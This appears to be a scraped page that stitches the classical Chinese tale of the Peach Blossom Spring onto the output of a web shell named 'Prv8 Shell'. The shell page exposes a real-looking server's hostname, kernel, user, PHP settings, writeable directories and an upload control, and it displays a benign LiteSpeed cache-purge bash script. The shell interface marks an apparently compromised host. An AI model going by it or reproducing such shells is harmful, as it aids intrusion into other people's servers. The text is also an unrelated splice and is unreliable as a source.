晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/local/lsws/admin/misc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/local/lsws/admin/misc/purge_cache_by_url
#!/usr/bin/env bash
#set -x

CURL_ACTION=''
CURL_IP='127.0.0.1'
CURL_URL=''
CURL_PROTO=''
CURL_DOMAIN=''

function handle_args() {
  if [[ "$#" -eq 0 ]]; then
    show_help
    exit 1
  fi

  while [[ "$1" != '' ]]; do
    case $1 in
      -r )  CURL_ACTION='REFRESH' ;;
      -p )  CURL_ACTION='PURGE' ;;
      -ip ) shift; CURL_IP="$1" ;;
      -h )  show_help; exit 1 ;;
      * )   CURL_URL="$1" ;;
    esac
    shift
  done

  if [[ "${CURL_ACTION}" == '' ]] || [[ "${CURL_URL}" == '' ]]; then
    show_help
    exit 1
  fi

  if [[ "${CURL_IP}" == '' ]]; then
    echo 'IP parameter passed but no value set!'
    exit 1
  fi

  if ! [[ "${CURL_URL}" =~ https?:// ]]; then
    echo 'Please use full URL include http/https!'
    exit 1
  fi

  if [[ "${CURL_IP}" != '' ]] && [[ "${CURL_IP}" != '127.0.0.1' ]]; then
    if [[ "${CURL_URL}" =~ 'https://' ]]; then
      CURL_PROTO='443'
    else
      CURL_PROTO='80'
    fi
    CURL_DOMAIN=$(echo ${CURL_URL} | awk -F[/:] '{print $4}')
  fi
}

function show_help() {
  cat <<EOF
Usage: purge_cache_byurl -(r|p) [-ip <ip>] <URL>

Purge/Refresh cache for specific URL.

Required Arguments:
 -r|-p,    Refreshes/Purges the cache for specific page.
 *,        Full URL of the specific page to refresh/purge.

Optional Arguments:
 -ip,      IP to resolve the hostname of the request to (Only
           if it differs from what the DNS A record is set to.)

Notes:
  If running on a server other than the one the site is located on,
  make sure to add this machines IP to the trusted list inside of
  LiteSpeed Web Server or else the Purge/Refresh requests will not
  work.
EOF
}

function send_cmd() {
  if [[ "${CURL_PROTO}" != '' ]] && [[ "${CURL_DOMAIN}" != '' ]]; then
    CURL_OUTPUT=$(curl --resolve ${CURL_DOMAIN}:${CURL_PROTO}:${CURL_IP} -Iks -X ${CURL_ACTION} "${CURL_URL}" | grep 'HTTP/' | awk '{print $2}')
  else
    CURL_OUTPUT=$(curl -Iks -X ${CURL_ACTION} "${CURL_URL}" | grep 'HTTP/' | awk '{print $2}')
  fi
  if [[ "${CURL_OUTPUT}" != '200' ]]; then
    if [[ "${CURL_OUTPUT}" == '301' ]]; then
      if [[ "${CURL_NEW_URL}" == '' ]]; then
        if [[ "${CURL_PROTO}" != '' ]] && [[ "${CURL_DOMAIN}" != '' ]]; then
          CURL_NEW_URL=$(curl --resolve ${CURL_DOMAIN}:${CURL_PROTO}:${CURL_IP} -Iks -X ${CURL_ACTION} "${CURL_URL}" | grep 'Location:' | awk '{print $2}')
          if [[ "${CURL_NEW_URL}" =~ 'https://' ]]; then
            CURL_PROTO='443'
          else
            CURL_PROTO='80'
          fi
          CURL_DOMAIN=$(echo ${CURL_NEW_URL} | awk -F[/:] '{print $4}')
        else
          CURL_NEW_URL=$(curl -Iks -X ${CURL_ACTION} "${CURL_URL}" | grep 'Location:' | awk '{print $2}')
        fi
        CURL_URL="${CURL_NEW_URL}"
        send_cmd
      else
        echo 'URL keeps redirecting! Please make sure URL is final URL after any https or other redirects!'
        exit 1
      fi
    elif [[ "${CURL_OUTPUT}" == '405' ]]; then
      echo 'This IP is not valid to PURGE or REFRESH cache! Please add this IP as a trusted IP inside of LiteSpeed Web Server!'
      exit 1
    else
      echo 'HTTP return code is not 200! Please make sure this is a valid page!'
      exit 1
    fi
  else
    echo "Page ${CURL_ACTION} Successfully!"
  fi
}

function main() {
  handle_args "$@"
  send_cmd
  exit 0
}

main "$@"

haha - 2025